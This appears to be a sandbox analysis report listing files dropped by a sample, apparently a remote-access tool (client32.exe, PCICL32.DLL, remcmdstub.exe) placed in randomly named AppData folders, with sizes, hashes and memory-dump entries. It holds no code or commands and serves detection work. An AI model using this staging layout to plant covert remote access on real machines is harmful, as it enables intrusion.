C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
32eae4378fd59f2a653b29101c187ae6

SHA1
dd3d68f4b785369bb4898bfa24734ca4915659b6

SHA256
8d9c482a7ded6e765d849e50afa94dbe3482e01ad88f0e102c8b299b01b53e78

SHA512
dd120c75e142ad4497c54265690ef3cbb81caed0cf9df325e79a0096513238ff79e865c4da9453da9c90280b2bebaacca64fac178ca8dd4dabf5c14922b34de6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3823b095d58016063e977bbfe0e3e3d3

SHA1
456ccaf42bd79896b69abbce1d6845860f62b009

SHA256
5515bd64ef2b91fd3487570ee184108d296f5e5eee9dade85b9fd8f033989acf

SHA512
a6304dd20b8ad7ca6086ba5da200837e0037addd48f9b1ae9cfafe8de5108e1d2546b1ae52dbcd595820bd1057c114db75661f896493a7ce1b60a2d5945790a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qjap5znp.w0g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\ihEStD\HTCTL32.DLL

Filesize
320KB

MD5
2d3b207c8a48148296156e5725426c7f

SHA1
ad464eb7cf5c19c8a443ab5b590440b32dbc618f

SHA256
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

SHA512
55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

Download Submit
C:\Users\Admin\AppData\Roaming\ihEStD\NSM.LIC

Filesize
257B

MD5
7067af414215ee4c50bfcd3ea43c84f0

SHA1
c331d410672477844a4ca87f43a14e643c863af9

SHA256
2050cc232710a2ea6a207bc78d1eac66a4042f2ee701cdfeee5de3ddcdc31d12

SHA512
17b888087192bcea9f56128d0950423b1807e294d1c4f953d1bf0f5bd08e5f8e35afeee584ebf9233bfc44e0723db3661911415798159ac118c8a42aaf0b902f

Download Submit
C:\Users\Admin\AppData\Roaming\ihEStD\PCICL32.DLL

Filesize
3.6MB

MD5
00587238d16012152c2e951a087f2cc9

SHA1
c4e27a43075ce993ff6bb033360af386b2fc58ff

SHA256
63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8

SHA512
637950a1f78d3f3d02c30a49a16e91cf3dfccc59104041876789bd7fdf9224d187209547766b91404c67319e13d1606da7cec397315495962cbf3e2ccd5f1226

Download Submit
C:\Users\Admin\AppData\Roaming\ihEStD\client32.exe

Filesize
117KB

MD5
ee75b57b9300aab96530503bfae8a2f2

SHA1
98dd757e1c1fa8b5605bda892aa0b82ebefa1f07

SHA256
06a0a243811e9c4738a9d413597659ca8d07b00f640b74adc9cb351c179b3268

SHA512
660259bb0fd317c7fb76505da8cbc477e146615fec10e02779cd4f527aeb00caed833af72f90b128bb62f10326209125e809712d9acb41017e503126e5f85673

Download Submit
C:\Users\Admin\AppData\Roaming\ihEStD\client32.ini

Filesize
617B

MD5
7c6854f484a279e9642d2daa9fbb9993

SHA1
dc6b5cf18eb9b38819eae455d3672eed0ef32c69

SHA256
11d81c68223fb9f7b0f6e67225aa6239a5ba84b2639294cf93b759fdcf30e35c

SHA512
557a1234d4c68ab49fc4757a4f85bf21b0f48c379f4ab9eba3d909d7d54f2052dcd19a0fafff0f5942b565ae2c089eeca7790ddf06aee1849a0b7477bfec5bc5

Download Submit
C:\Users\Admin\AppData\Roaming\ihEStD\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\ihEStD\pcicapi.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\Users\Admin\AppData\Roaming\ihEStD\pcichek.dll

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
C:\Users\Admin\AppData\Roaming\piQbeK\NSM.ini

Filesize
6KB

MD5
88b1dab8f4fd1ae879685995c90bd902

SHA1
3d23fb4036dc17fa4bee27e3e2a56ff49beed59d

SHA256
60fe386112ad51f40a1ee9e1b15eca802ced174d7055341c491dee06780b3f92

SHA512
4ea2c20991189fe1d6d5c700603c038406303cca594577ddcbc16ab9a7915cb4d4aa9e53093747db164f068a7ba0f568424bc8cb7682f1a3fb17e4c9ec01f047

Download Submit
C:\Users\Admin\AppData\Roaming\piQbeK\TCCTL32.DLL

Filesize
387KB

MD5
eab603d12705752e3d268d86dff74ed4

SHA1
01873977c871d3346d795cf7e3888685de9f0b16

SHA256
6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea

SHA512
77de0d9c93ccba967db70b280a85a770b3d8bea3b707b1abb037b2826b48898fec87924e1a6cce218c43478e5209e9eb9781051b4c3b450bea3cd27dbd32c7f3

Download Submit
C:\Users\Admin\AppData\Roaming\piQbeK\nskbfltr.inf

Filesize
328B

MD5
26e28c01461f7e65c402bdf09923d435

SHA1
1d9b5cfcc30436112a7e31d5e4624f52e845c573

SHA256
d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368

SHA512
c30ec66fecb0a41e91a31804be3a8b6047fc3789306adc106c723b3e5b166127766670c7da38d77d3694d99a8cddb26bc266ee21dba60a148cdf4d6ee10d27d7

Download Submit
C:\Users\Admin\AppData\Roaming\piQbeK\remcmdstub.exe

Filesize
75KB

MD5
1768c9971cea4cc10c7dd45a5f8f022a

SHA1
3d199bee412cbac0a6d2c4c9fd5509ad12a667e7

SHA256
6558b3307215c4b73fc96dc552213427fb9b28c0cb282fe6c38324f1e68e87d6

SHA512
f83bf23abce316cb1b91a0ac89c1a709a58a7ec49c8493140ad7dc7a629e8f75032057889e42be3091cf351760348380634f660c47a3897f69e398849ca46780

Download Submit
memory/2556-28-0x00000205EB9D0000-0x00000205EBBEC000-memory.dmp

Filesize
2.1MB

Download
memory/2556-56-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/2556-26-0x00007FFC4FD43000-0x00007FFC4FD45000-memory.dmp

Filesize
8KB

Download
memory/2556-14-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/2556-27-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/2556-0-0x00007FFC4FD43000-0x00007FFC4FD45000-memory.dmp

Filesize
8KB

Download
memory/2556-12-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/2556-29-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/2556-41-0x00000205EB9D0000-0x00000205EBBEC000-memory.dmp

Filesize
2.1MB

Download
memory/2556-11-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/2556-10-0x00000205EBFA0000-0x00000205EBFC2000-memory.dmp

Filesize
136KB

Download